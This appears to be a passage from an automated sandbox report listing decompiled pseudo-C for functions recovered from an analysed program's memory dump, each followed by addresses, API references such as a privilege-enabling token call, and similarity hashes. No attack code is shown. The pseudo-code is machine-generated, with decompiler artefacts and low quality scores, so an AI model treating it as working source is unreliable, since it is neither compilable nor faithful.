				 *_t67 = 0;
				 *((intOrPtr*)(_t67 + 4)) = 0;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *((char*)(_t100 - 4)) = 8;
				E0125FD97(__ecx + 0x88);
				_t69 = __ecx + 0xac;
				 *((char*)(_t100 - 4)) = 9;
				 *_t69 = 0;
				 *((char*)(_t69 + 1)) = 0;
				_t70 = __ecx + 0xae;
				 *_t70 = 0;
				 *((char*)(_t70 + 1)) = 0;
				_t71 = __ecx + 0xb0;
				 *_t71 = 0;
				 *((char*)(_t71 + 1)) = 0;
				_t72 = __ecx + 0xb2;
				 *_t72 = 0;
				 *((char*)(_t72 + 1)) = 0;
				E0125FF47(__ecx + 0xb8, 0); // executed
				_t74 = __ecx + 0x1d0;
				 *_t74 = 0;
				 *((intOrPtr*)(_t74 + 4)) = 0;
				 *((intOrPtr*)(_t74 + 8)) = 0;
				 *((char*)(_t74 + 0xc)) = 0;
				 *((char*)(_t74 + 0xd)) = 0;
				 *((char*)(_t74 + 0xe)) = 0;
				 *((intOrPtr*)(_t74 + 0x10)) = 0;
				 *((char*)(_t100 - 4)) = 0xb;
				E012328E9(__ecx + 0x1e4);
				_t76 = __ecx + 0x1f0;
				 *_t76 = 0;
				 *((intOrPtr*)(_t76 + 4)) = 0;
				 *((intOrPtr*)(_t76 + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0x1fc)) = _t95;
				 *((intOrPtr*)(__ecx + 0x204)) = _t95;
				 *((intOrPtr*)(__ecx + 0x200)) = 2;
				 *((intOrPtr*)(__ecx + 0x208)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t100 - 0xc));
				return __ecx;
			}

0x0125fe0c
0x0125fe11
0x0125fe12
0x0125fe1a
0x0125fe1d
0x0125fe20
0x0125fe25
0x0125fe28
0x0125fe2b
0x0125fe2e
0x0125fe31
0x0125fe39
0x0125fe3c
0x0125fe46
0x0125fe47
0x0125fe4a
0x0125fe52
0x0125fe56
0x0125fe5b
0x0125fe5e
0x0125fe61
0x0125fe67
0x0125fe6b
0x0125fe6e
0x0125fe76
0x0125fe7d
0x0125fe85
0x0125fe89
0x0125fe8e
0x0125fe91
0x0125fe93
0x0125fe96
0x0125fe9f
0x0125fea3
0x0125fea8
0x0125feb4
0x0125feb8
0x0125feba
0x0125febd
0x0125fec3
0x0125fec5
0x0125fec8
0x0125fece
0x0125fed0
0x0125fed3
0x0125fed9
0x0125fedb
0x0125fede
0x0125fee3
0x0125fee9
0x0125feeb
0x0125feee
0x0125fef1
0x0125fef4
0x0125fef7
0x0125fefa
0x0125ff03
0x0125ff07
0x0125ff0f
0x0125ff15
0x0125ff17
0x0125ff1a
0x0125ff1d
0x0125ff23
0x0125ff29
0x0125ff33
0x0125ff3e
0x0125ff46

APIs

__EH_prolog.LIBCMT ref: 0125FE0C

Part of subcall function 0125FD97: __EH_prolog.LIBCMT ref: 0125FD9C

Part of subcall function 0125FF47: __EH_prolog.LIBCMT ref: 0125FF4C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ec06813e3c94101626f31ab734e9ef356eccb46e2cb642d45f9afc49e42200e8
Instruction ID: 50e757d41dd3ef4338c306e1f4695b0d0c611fc56897cce768b1154e2813caa9
Opcode Fuzzy Hash: ec06813e3c94101626f31ab734e9ef356eccb46e2cb642d45f9afc49e42200e8
Instruction Fuzzy Hash: 73416F71445785CEC312DF69C198AEAFFF4BF25210F49C89EC49A97362D770A608CB22

Uniqueness

Uniqueness Score: -1.00%

Function 01247410 Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E01247410(intOrPtr* __ecx, intOrPtr __edx) {
				void* __ebx;
				void* _t40;
				signed int _t43;
				void* _t44;
				signed int _t47;
				signed int _t49;
				intOrPtr* _t50;
				intOrPtr _t56;
				intOrPtr _t69;
				void* _t70;
				void* _t71;

				_t50 = __ecx;
				E012639E0(E01265754, _t71);
				_push(_t47);
				 *((intOrPtr*)(_t71 - 0x1c)) = __edx;
				 *((intOrPtr*)(_t71 - 0x18)) = __ecx;
				 *(_t71 - 0x10) = 0;
				if( *((intOrPtr*)(__ecx + 4)) <= 0) {
					L12:
					E012470C8( *((intOrPtr*)(_t71 + 0xc)));
					E01248272( *((intOrPtr*)(_t71 + 0xc)));
					_t40 = 0;
					L13:
					 *[fs:0x0] =  *((intOrPtr*)(_t71 - 0xc));
					return _t40;
				}
				_t49 = _t47 | 0xffffffff;
				while(1) {
					_t69 =  *((intOrPtr*)( *_t50 +  *(_t71 - 0x10) * 4));
					if( *((intOrPtr*)(_t69 + 4)) != 0) {
						_push(_t69);
						_push(_t49);
						 *(_t71 - 0x14) = E012470EA( *((intOrPtr*)(_t71 + 0xc)), _t71, _t49);
					} else {
						 *(_t71 - 0x14) = _t49;
					}
					_t43 = _t49;
					if( *((intOrPtr*)(_t71 - 0x1c)) != 2) {
						_t56 =  *((intOrPtr*)(_t71 + 8));
						if( *((intOrPtr*)(_t56 + 4)) != 0) {
							_push(_t56);
							_push(_t49);
							_t43 = E012470EA( *((intOrPtr*)(_t71 + 0xc)), _t71, _t49);
						}
					} else {
						_t43 =  *(_t71 - 0x14);
					}
					 *((intOrPtr*)(_t71 - 0x28)) = 0;
					 *((intOrPtr*)(_t71 - 0x24)) = 0;
					 *((intOrPtr*)(_t71 - 0x20)) = 0;
					 *(_t71 - 4) = 0;
					_t25 = _t69 + 0xc; // 0xc, executed
					_t44 = E012474E7(_t25,  *(_t71 - 0x14), _t43, _t69, _t71 - 0x28,  *((intOrPtr*)(_t71 + 0xc)), 0); // executed
					_t70 = _t44;
					 *(_t71 - 4) = _t49;
					E01248B2E(_t49, _t71 - 0x28);
					if(_t70 != 0) {
						break;
					}
					 *(_t71 - 0x10) =  *(_t71 - 0x10) + 1;
					if( *(_t71 - 0x10) <  *((intOrPtr*)( *((intOrPtr*)(_t71 - 0x18)) + 4))) {
						_t50 =  *((intOrPtr*)(_t71 - 0x18));
						continue;
					}
					goto L12;
				}
				_t40 = _t70;
				goto L13;
			}

0x01247410
0x01247415
0x0124741d
0x01247425
0x01247428
0x0124742b
0x0124742e
0x012474c0
0x012474c3
0x012474cb
0x012474d0
0x012474d2
0x012474d8
0x012474e0
0x012474e0
0x01247434
0x0124743c
0x01247441
0x01247447
0x01247451
0x01247452
0x01247459
0x01247449
0x01247449
0x01247449
0x01247460
0x01247462
0x01247469
0x0124746f
0x01247471
0x01247475
0x01247477
0x01247477
0x01247464
0x01247464
0x01247464
0x0124747c
0x0124747f
0x01247482
0x0124748f
0x01247495
0x01247498
0x012474a0
0x012474a2
0x012474a5
0x012474ac
0x00000000
0x00000000
0x012474ae
0x012474ba
0x01247439
0x00000000
0x01247439
0x00000000
0x012474ba
0x012474e3
0x00000000

APIs

__EH_prolog.LIBCMT ref: 01247415

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2dce2e3beba5a0b7b2e03ff5fdb790042e4cd8243ab4a7a909c0c2a0059bfa45
Instruction ID: 6f90bb512f2a8f212037ed09e5254d0485383a127d6426083e81ad2c72c0057a
Opcode Fuzzy Hash: 2dce2e3beba5a0b7b2e03ff5fdb790042e4cd8243ab4a7a909c0c2a0059bfa45
Instruction Fuzzy Hash: 26313EB0D2010ADFCB19DF99C9908BEBFB9FF94360B10811EE52A67251D7305904CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0124CB62 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0124CB62(intOrPtr* __ecx) {
				intOrPtr _t34;
				signed int _t40;
				intOrPtr _t46;
				signed int _t56;
				intOrPtr* _t61;
				void* _t63;

				E012639E0(E0126608E, _t63);
				_t61 = __ecx;
				 *((intOrPtr*)(_t63 - 0x18)) = __ecx;
				 *__ecx = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *(_t63 - 4) = 0;
				_t56 =  *( *((intOrPtr*)(_t63 + 8)) + 4);
				 *(_t63 - 0x14) = _t56;
				if(_t56 != 0) {
					_t40 = 0x3fffffff;
					if(_t56 <= 0x3fffffff) {
						_t40 = _t56;
					}
					_push(_t40 << 2);
					 *_t61 = E01231A96();
					 *(_t61 + 8) = _t56;
				}
				 *(_t63 - 0x10) = 0;
				if(_t56 > 0) {
					do {
						_push(0x18); // executed
						_t34 = E01231A96(); // executed
						_t46 = _t34;
						 *((intOrPtr*)(_t63 - 0x1c)) = _t46;
						_t72 = _t46;
						 *(_t63 - 4) = 1;
						if(_t46 == 0) {
							_t46 = 0;
							__eflags = 0;
						} else {
							E012329BC(_t46, _t72,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t63 + 8)))) +  *(_t63 - 0x10) * 4)));
							_t16 = _t46 + 0xc; // 0xc
							 *(_t63 - 4) = 2;
							E012329BC(_t16, _t72,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t63 + 8)))) +  *(_t63 - 0x10) * 4)) + 0xc);
							_t56 =  *(_t63 - 0x14);
						}
						 *(_t63 - 4) =  *(_t63 - 4) & 0x00000000;
						 *((intOrPtr*)( *_t61 +  *(_t61 + 4) * 4)) = _t46;
						 *(_t61 + 4) =  *(_t61 + 4) + 1;
						 *(_t63 - 0x10) =  *(_t63 - 0x10) + 1;
					} while ( *(_t63 - 0x10) < _t56);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t61;
			}

0x0124cb67
0x0124cb71
0x0124cb76
0x0124cb79
0x0124cb7b
0x0124cb7e
0x0124cb84
0x0124cb87
0x0124cb8c
0x0124cb8f
0x0124cb91
0x0124cb98
0x0124cb9a
0x0124cb9a
0x0124cb9f
0x0124cba6
0x0124cba8
0x0124cba8
0x0124cbad
0x0124cbb0
0x0124cbb2
0x0124cbb2
0x0124cbb4
0x0124cbb9
0x0124cbbc
0x0124cbbf
0x0124cbc1
0x0124cbc5
0x0124cbef
0x0124cbef
0x0124cbc7
0x0124cbd5
0x0124cbdd
0x0124cbe1
0x0124cbe5
0x0124cbea
0x0124cbea
0x0124cbf6
0x0124cbfa
0x0124cbfd
0x0124cc00
0x0124cc03
0x0124cbb2
0x0124cc10
0x0124cc18

APIs

__EH_prolog.LIBCMT ref: 0124CB67

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 5af7eb6e359b0b9ef12275d4f36395ca261e0fea1d0297c6248564f5e02e8c91
Instruction ID: b7d00f7ea24ec0c73f7980568874533f760b73399accde3a5442b180721d2309
Opcode Fuzzy Hash: 5af7eb6e359b0b9ef12275d4f36395ca261e0fea1d0297c6248564f5e02e8c91
Instruction Fuzzy Hash: FD2198B1A102068FC714DF9DC08066EFBF5FF98350F20846EE599A7380DBB09A41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0124CA8D Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0124CA8D(intOrPtr __ecx, void* __eflags) {
				intOrPtr* _t60;
				void* _t63;

				E012639E0(E0126604A, _t63);
				_push(__ecx);
				_t60 =  *((intOrPtr*)(_t63 + 8));
				 *((intOrPtr*)(_t63 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) =  *_t60;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(_t60 + 4));
				 *((intOrPtr*)(__ecx + 8)) =  *((intOrPtr*)(_t60 + 8));
				E012329BC(__ecx + 0xc, __eflags, _t60 + 0xc);
				 *(_t63 - 4) =  *(_t63 - 4) & 0x00000000;
				E0124CB62(__ecx + 0x18, _t60 + 0x18); // executed
				 *((intOrPtr*)(__ecx + 0x24)) =  *((intOrPtr*)(_t60 + 0x24));
				 *((char*)(__ecx + 0x28)) =  *((intOrPtr*)(_t60 + 0x28));
				 *((char*)(__ecx + 0x29)) =  *((intOrPtr*)(_t60 + 0x29));
				 *((intOrPtr*)(__ecx + 0x2c)) =  *((intOrPtr*)(_t60 + 0x2c));
				_push(_t60 + 0x30);
				 *(_t63 - 4) = 1;
				E0124CC1B(__ecx + 0x30);
				 *((intOrPtr*)(__ecx + 0x3c)) =  *((intOrPtr*)(_t60 + 0x3c));
				 *((intOrPtr*)(__ecx + 0x40)) =  *((intOrPtr*)(_t60 + 0x44 - 4));
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return __ecx;
			}

0x0124ca92
0x0124ca97
0x0124ca9a
0x0124caa0
0x0124caa8
0x0124caad
0x0124cab3
0x0124caba
0x0124cabf
0x0124caca
0x0124cad5
0x0124cadb
0x0124cae1
0x0124cae7
0x0124caed
0x0124caee
0x0124caf2
0x0124cafd
0x0124cb06
0x0124cb09
0x0124cb0a
0x0124cb10
0x0124cb11
0x0124cb15
0x0124cb1d

APIs

__EH_prolog.LIBCMT ref: 0124CA92

Part of subcall function 0124CB62: __EH_prolog.LIBCMT ref: 0124CB67

Part of subcall function 0124CC1B: __EH_prolog.LIBCMT ref: 0124CC20

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 67b6758b280daa35b7fc7e00bfdac8c70fcbf15ff23f4d29ea828ec5ebdcaae8
Instruction ID: 1cf77bbdc336e1180708f866a9e5ad5e731b8747d59e632e4e647fc7db496ec8
Opcode Fuzzy Hash: 67b6758b280daa35b7fc7e00bfdac8c70fcbf15ff23f4d29ea828ec5ebdcaae8
Instruction Fuzzy Hash: 631107B5600644DFCB55CF69C1C0A96BBF8FF19210B1485AEE88ADB706D770EA44CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0124711F Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0124711F(intOrPtr __ecx) {
				intOrPtr* _t40;
				char _t41;
				intOrPtr _t50;
				void* _t52;

				E012639E0(E01265726, _t52);
				_push(__ecx);
				_t50 = __ecx;
				 *((intOrPtr*)(_t52 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(_t52 - 4)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0;
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				 *((char*)(__ecx + 0x30)) = 0;
				 *((char*)(__ecx + 0x31)) = 0;
				 *((intOrPtr*)(__ecx + 0x38)) = 0;
				 *((intOrPtr*)(__ecx + 0x40)) = 0;
				 *((intOrPtr*)(__ecx + 0x48)) = 0;
				 *((intOrPtr*)(__ecx + 0x50)) = 0;
				 *((intOrPtr*)(__ecx + 0x58)) = 0;
				 *((intOrPtr*)(__ecx + 0x60)) = 0;
				 *((char*)(_t52 - 4)) = 3;
				 *((intOrPtr*)(__ecx + 0x3c)) = 0;
				 *((intOrPtr*)(__ecx + 0x44)) = 0;
				 *((intOrPtr*)(__ecx + 0x4c)) = 0;
				 *((intOrPtr*)(__ecx + 0x54)) = 0;
				 *((intOrPtr*)(__ecx + 0x5c)) = 0;
				 *((intOrPtr*)(__ecx + 0x64)) = 0;
				E012471C5(__ecx + 0x68);
				_t40 = __ecx + 0x8c;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((char*)(_t52 - 4)) = 5;
				 *((char*)(__ecx + 0x95)) = 0;
				 *((intOrPtr*)(__ecx + 0x98)) = 0;
				_t41 = E0123D4F9(0); // executed
				 *((char*)(_t50 + 0x94)) = _t41;
				 *[fs:0x0] =  *((intOrPtr*)(_t52 - 0xc));
				return _t50;
			}

0x01247124
0x01247129
0x0124712c
0x01247130
0x01247133
0x01247135
0x01247138
0x0124713b
0x0124713e
0x01247141
0x01247144
0x01247147
0x0124714a
0x0124714d
0x01247150
0x01247153
0x01247156
0x01247159
0x0124715c
0x0124715f
0x01247162
0x01247165
0x01247168
0x0124716b
0x0124716e
0x01247174
0x01247178
0x0124717b
0x0124717e
0x01247181
0x01247184
0x01247187
0x0124718a
0x0124718f
0x01247195
0x01247197
0x0124719a
0x0124719e
0x012471a4
0x012471aa
0x012471b2
0x012471bc
0x012471c4

APIs

__EH_prolog.LIBCMT ref: 01247124

Part of subcall function 0123D4F9: __EH_prolog.LIBCMT ref: 0123D4FE
Part of subcall function 0123D4F9: GetCurrentProcess.KERNEL32(?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D510
Part of subcall function 0123D4F9: OpenProcessToken.ADVAPI32(00000000,00000028,?,?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D527
Part of subcall function 0123D4F9: LookupPrivilegeValueW.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 0123D549
Part of subcall function 0123D4F9: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D55E
Part of subcall function 0123D4F9: GetLastError.KERNEL32(?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D568

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prologProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 1532160333-0
Opcode ID: eef993aae94293fcc8d915685fdf2433e6e2298e64cb8e59efbaa101119588ab
Instruction ID: c1e8c3ec7c09162e67c7a2e467e4b44ab455c46e7c832b719190fb4be0b6284c
Opcode Fuzzy Hash: eef993aae94293fcc8d915685fdf2433e6e2298e64cb8e59efbaa101119588ab
Instruction Fuzzy Hash: FC2127B1815B94CFC321CF6B85C068AFBF4BB19604B908A6EC1DE93B11C774A544CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0124894E Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0124894E(void* __ecx, void* __edx) {
				void* _t16;
				void* _t20;
				void* _t40;
				void* _t42;

				_t16 = E012639E0(E01265998, _t42);
				_t40 = __edx;
				if( *((intOrPtr*)(__edx + 4)) != 0) {
					_t16 = E0123393B(__edx);
					if(_t16 == 0) {
						_t2 = _t42 - 0x50; // -80
						E01235C60(_t2);
						_t3 = _t42 - 0x28; // -40
						E012328E9(_t3);
						 *(_t42 - 4) =  *(_t42 - 4) & 0x00000000;
						_t6 = _t42 - 0x18; // -24
						E0123288E(_t6, __ecx, _t40);
						 *(_t42 - 4) = 1;
						_t20 = E01237168( *((intOrPtr*)(_t42 - 0x18)));
						_t49 = _t20;
						_push( *((intOrPtr*)(_t42 - 0x18)));
						if(_t20 == 0) {
							_t10 = _t42 - 0x50; // -80, executed
							_t20 = E01235D00(_t10, _t49); // executed
							if(_t20 != 0) {
								_t11 = _t42 - 0x28; // -40
								_t20 = E01232A8C(_t40, _t11);
							}
							_push( *((intOrPtr*)(_t42 - 0x18)));
						}
						_t16 = E01231ABD(E01231ABD(_t20),  *((intOrPtr*)(_t42 - 0x28)));
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t42 - 0xc));
				return _t16;
			}

0x01248953
0x0124895c
0x01248965
0x01248969
0x01248970
0x01248972
0x01248975
0x0124897a
0x0124897d
0x01248982
0x01248989
0x0124898c
0x01248994
0x01248998
0x0124899d
0x0124899f
0x012489a2
0x012489a4
0x012489a7
0x012489ae
0x012489b0
0x012489b6
0x012489b6
0x012489bb
0x012489bb
0x012489c6
0x012489cc
0x01248970
0x012489d2
0x012489da

APIs

__EH_prolog.LIBCMT ref: 01248953

Part of subcall function 01235D00: __EH_prolog.LIBCMT ref: 01235D05

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 092beb5d82e443e1f9b242ef97b040c2fbcaa4645699e34162f6ec2564877dee
Instruction ID: 80dd73fb7fabf0b2b6a07bc9e89cb56e5efaf575b7dc58d06e193ab52a8045a9
Opcode Fuzzy Hash: 092beb5d82e443e1f9b242ef97b040c2fbcaa4645699e34162f6ec2564877dee
Instruction Fuzzy Hash: 570171B5930106DBCF19FB98D800AFDBBB5AFE4224F044059D90173290CFB15A46DAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0124E91D Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0124E91D(void* __ecx) {
				void* _t17;
				intOrPtr _t20;
				void* _t22;
				signed int _t32;
				void* _t38;
				intOrPtr _t40;

				E012639E0(_t17, _t38);
				_push(__ecx);
				_t20 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x28)) +  *(_t38 + 8) * 4));
				 *((intOrPtr*)(_t38 - 0x10)) = _t40;
				_t32 =  *(_t20 + 0x3c);
				if(_t32 >= 0) {
					_push( *((intOrPtr*)(_t38 + 0xc)));
					_push(0x126c498);
					_push(_t20 + 0x44); // executed
					_t22 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0xc)) + _t32 * 4)) + 0x10))();
				} else {
					 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
					E01240E48( *((intOrPtr*)(_t38 + 0xc)),  *((intOrPtr*)(_t20 + 4))());
					_t22 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t22;
			}

0x0124e91d
0x0124e922
0x0124e92b
0x0124e92f
0x0124e932
0x0124e937
0x0124e95d
0x0124e966
0x0124e96b
0x0124e96c
0x0124e939
0x0124e939
0x0124e944
0x0124e949
0x0124e949
0x0124e974
0x0124e97d

APIs

__EH_prolog.LIBCMT ref: 0124E91D

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8cb8d53446e98b7b959c9db34fb0b70723c137c808adbb5b943d80e4ad400bb5
Instruction ID: 091e3be386d5a3dab8a1d6fa7cd4de6c5bf562932531e7d683caf77bc52989b4
Opcode Fuzzy Hash: 8cb8d53446e98b7b959c9db34fb0b70723c137c808adbb5b943d80e4ad400bb5
Instruction Fuzzy Hash: 46F09076624205EFC748DF98C445EAA73BAFF98718F10C559F4099B241C775E912CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01236177 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01236177(void* __ecx, void* __eflags) {
				void* _t20;
				void* _t31;
				void* _t36;

				_t36 = __eflags;
				E012639E0(E01264620, _t31);
				E01235C60(_t31 - 0x44);
				E012328E9(_t31 - 0x1c);
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				_t15 = E01235D00(_t31 - 0x44, _t36, __ecx); // executed
				if(_t15 == 0) {
					L2:
					_t20 = 0;
				} else {
					_t20 = 1;
					_t15 =  *(_t31 - 0x24) >> 4;
					if((0x00000001 &  *(_t31 - 0x24) >> 0x00000004) != 0) {
						goto L2;
					}
				}
				E01231ABD(_t15,  *((intOrPtr*)(_t31 - 0x1c)));
				 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0xc));
				return _t20;
			}

0x01236177
0x0123617c
0x0123618b
0x01236193
0x01236198
0x012361a0
0x012361a7
0x012361b5
0x012361b5
0x012361a9
0x012361ac
0x012361ae
0x012361b3
0x00000000
0x00000000
0x012361b3
0x012361ba
0x012361c7
0x012361cf

APIs

__EH_prolog.LIBCMT ref: 0123617C

Part of subcall function 01235D00: __EH_prolog.LIBCMT ref: 01235D05

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3ccbaa290e11bc77eba520127b0806ea5824826ddba3eaafd23f931cc9982d27
Instruction ID: 9f56518b662309820d61f905a4286b8f4df88806de150a88954c3206904aa933
Opcode Fuzzy Hash: 3ccbaa290e11bc77eba520127b0806ea5824826ddba3eaafd23f931cc9982d27
Instruction Fuzzy Hash: A8F0A0B2D6104AAACB04EF58E950BFDB3B8EFB5245F540055E95273391CB615F0ACE50

Uniqueness

Uniqueness Score: -1.00%

Function 0124CA16 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E0124CA16(void* __ecx) {
				signed int _t10;
				void* _t11;
				intOrPtr _t14;
				void* _t18;
				void* _t20;

				E012639E0(E0126602A, _t20);
				_push(__ecx);
				_t18 = __ecx;
				_push(0x54);
				_t14 = E01231A96();
				 *((intOrPtr*)(_t20 - 0x10)) = _t14;
				_t10 = 0;
				_t23 = _t14;
				 *(_t20 - 4) = 0;
				if(_t14 != 0) {
					_t10 = E0124CA8D(_t14, _t23,  *((intOrPtr*)(_t20 + 8))); // executed
				}
				 *(_t20 - 4) =  *(_t20 - 4) | 0xffffffff;
				_t11 = E01231553(_t18, _t10);
				 *[fs:0x0] =  *((intOrPtr*)(_t20 - 0xc));
				return _t11;
			}

0x0124ca1b
0x0124ca20
0x0124ca22
0x0124ca24
0x0124ca2c
0x0124ca2e
0x0124ca31
0x0124ca33
0x0124ca35
0x0124ca38
0x0124ca3d
0x0124ca3d
0x0124ca42
0x0124ca49
0x0124ca52
0x0124ca5a

APIs

__EH_prolog.LIBCMT ref: 0124CA1B

Part of subcall function 01231A96: malloc.MSVCRT ref: 01231A9C
